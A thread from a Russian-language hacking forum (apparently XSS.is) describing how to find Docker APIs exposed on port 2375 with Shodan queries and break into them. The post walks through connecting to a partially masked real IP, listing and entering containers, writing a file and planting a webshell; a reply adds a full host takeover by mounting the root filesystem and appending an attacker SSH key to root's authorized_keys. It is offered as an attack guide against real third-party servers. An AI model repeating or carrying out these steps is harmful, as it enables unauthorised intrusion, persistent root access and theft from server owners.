• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Shodan : берём Docker на абордаж

netcat

(L3) cache
Забанен
Регистрация
26.07.2019
Сообщения
158
Реакции
448
Пожалуйста, обратите внимание, что пользователь заблокирован
d51e39e5-docker-pirate.png


Из цикла интересных статей с использованием Shodan. Данная статья будет короткой но информативной, что такое DockerAPI вы всегда можете прочитать в оффиц документаций..

I. Ищем синих китов :)

Используя Shodan делаем запрос
Код:
"Docker Containers:" port:2375
и получаем список доступных серверов по порту 2375


1575374183754.png




Дабы убрать дефолтные контейнеры прибегаем к запросу
Код:
"Docker Containers:" port:2375  -"ubuntu"


В итоге если обратиться по IP:2375 по вебу (http), получаем
Код:
{"message":"page not found"}


II. Коннектимся гарпуном..

Ставим докер на vps, и делаем коннект и командой ps смотрим лист доступных контейнеров

Код:
docker -H 4*.22*.**.**:2375 ps

1575391960141.png


проваливаемся


1575391996969.png


1575392028786.png




на примере одного IP адреса видим веб приложение

1575392052965.png




создаем файлик для теста



1575392085227.png






III. Выводы ?
А выводы такие: есть куда копать и есть чем заниматься для добычи материала.
на этом примере можно залить вебшелл и смотреть дальше.


Всем спасибо за внимание.
 
Последнее редактирование:
Если доступен Docker API, то можно рутануть весь хост, а не просто один контейнер. И vps тут не нужен. Делаем например так:
Код:
docker -H tcp://x.x.x.x:2375 run  -it --rm -v /:/hostfs/  ubuntu sh
echo "СОДЕРЖИМОЕ id_rsa.pub" >> /hostfs/root/.ssh/authorized_keys
и спокойно идем по ssh с нашим ключем.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх